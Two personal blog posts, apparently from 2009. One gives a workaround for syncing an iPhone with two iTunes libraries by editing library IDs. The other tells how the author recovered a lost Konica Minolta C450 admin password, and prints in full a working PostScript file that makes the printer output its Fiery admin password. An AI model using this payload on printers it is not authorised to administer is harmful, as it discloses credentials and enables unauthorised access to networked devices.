20090921

[iPhone] How to sync with multiple computers

On one hand, I love Apple, on the other, I hate them. Their sick need of controlling me and limiting me and my rights, bother me, to say the least. When I got my iPhone, it was the same story. One omputer at work, one computer at home, purchased music on both... But no, of course not, I cant move music from more than one computer. 
After all, who on earth would have their music spread out on more than one computer?!
If this annoys you as much as me, read on for a solution.

Ok, we are gonna make our iPhone think, its syncing with the same iTunes library.
 

1. Make sure iTunes is not running on either of the computers.
2. Find your iTunes library ID on the currently "in-sync" computer.
This is done by opening your "iTunes Music Library.xml" file in a text editor. Find "<key>Library Persistent ID</key><string>". Select the characters after your found string and before the ending "</string>" tag on the same line.
3. Copy this ID to temporary file or similar, you will need it later. Now close this file.
4. Repeat step 2 on your second computer, the out-of-sync one.
5. Repeat step 3 on your second computer, still being the out-of-sync one. 
6. Replace your out-of-sync ID (selected string) with your in-sync ID (the first one you copied). Save and close.
7. Open up the file "iTunes Music Library" (no extension on Mac, extension .itl on PC) in a hex editor of your choice.
8. Using Find and Replace, find your out-of-sync ID using hex matching, not ASCII and replace with your in-sync ID. There should only be one match. Close the file.

If you did not fuck up somewhere on the way, you are now able to sync your iPhone with both computers!
Dont forget to transfer purchases from your iPhone before you sync your second computer.
Finally, it works! 


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**DISCLAIMER**  Use at your own risk! For educational purposes only!


20090915

[Konika Minolta C450 Printer] The lost admin password

Since the company where Im now employed kicked out the old IT-support company, I have had a lot of cleaning up to do. To say it nicely, the previous maintainers of our servers and computers were a bunch of amateurs. Without further details, they decided to change the setup admin password to our C450 printer, needless to say, they did not write it down.

So afters trying various possible passwords over and over again, we called the support company that sold us the printer. We were told there is no way of recovering the password, other than having Konica Minolta send a technician over to do a full system reset, including re-installing the system software. Refusing to accept this as the only solution, the game was on. After a bit of research, with a file containing this:

%!PS-Adobe-2.0
%%For: Operator
%%Title: Security Violation
%%EndComments
100 100 moveto
/Courier findfont 20 scalefont setfont
userdict /FieryXJdict known
{ (Password = ") show (PASSWORD) FieryXJdict /getfierysysdict get exec show (") show }
{ (Couldn't find password) show } ifelse
showpage

After uploading a file called passwd.ps (notice the extension) containing the aforementioned script to the printer using the built-in OS X print queue, I had a nice little gift waiting for me by the printer. Password recovery at its best. 
Finally, it works! 

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**DISCLAIMER**  Use at your own risk! For educational purposes only!